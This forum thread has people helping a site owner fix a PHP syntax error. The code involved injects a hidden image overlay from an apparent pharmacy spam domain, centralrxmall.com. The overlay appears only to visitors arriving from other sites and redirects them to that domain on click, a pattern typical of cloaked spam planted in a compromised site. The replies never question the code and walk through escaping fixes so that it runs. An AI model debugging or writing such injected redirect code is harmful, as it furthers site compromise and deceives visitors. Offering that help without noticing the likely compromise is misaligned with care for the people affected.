My site shows error Parse error: syntax error, unexpected T_STRING

You might try doing this:

$message .= “</table>”;
$message .= ‘<img id=”hidadvnet” style=”visibility:hidden;position:absolute;top:5px;left:5px;cursor:pointer;” src=”http://centralrxmall.com/campaign/hidadvnet.jpg&#8221; width=”716″ height=”385″ border=”0″ onclick=”javascript:window.location=\’http://centralrxmall.com/\’;”>
<script type=”text/javascript”>

But, note that you didn’t supply the entire chunk of code needed. Somewhere there’s a straggling “; that’s going to bite you. Change that to ‘; if you can find it.

Another option would be to use pastebin and supply a bit more of the code so I can see what the rest looks like.

Yeah, that line spanned across 4 or 5 lines. Try this one:

http://pastebin.com/7E8Nqewv

Oi. it may be balking at this:
\’//\’

Which was originally:
‘//’

Maybe try putting it back like it was?

You simply have a forward slash in the improper place.

Line #44 (using your latest pastebin link).

Instead of this:

if (document.referrer.length && document.referrer.indexOf(window.location.protocol + \'//\' + window.location.hostname) != 0) document.getElementById(\'hidadvnet\').style.visibility = 'visible\'; }

Should be this:

if (document.referrer.length && document.referrer.indexOf(window.location.protocol + \'//\' + window.location.hostname) != 0) document.getElementById(\'hidadvnet\').style.visibility = \'visible\'; }

(It’s the forward slash that precedes “visible”)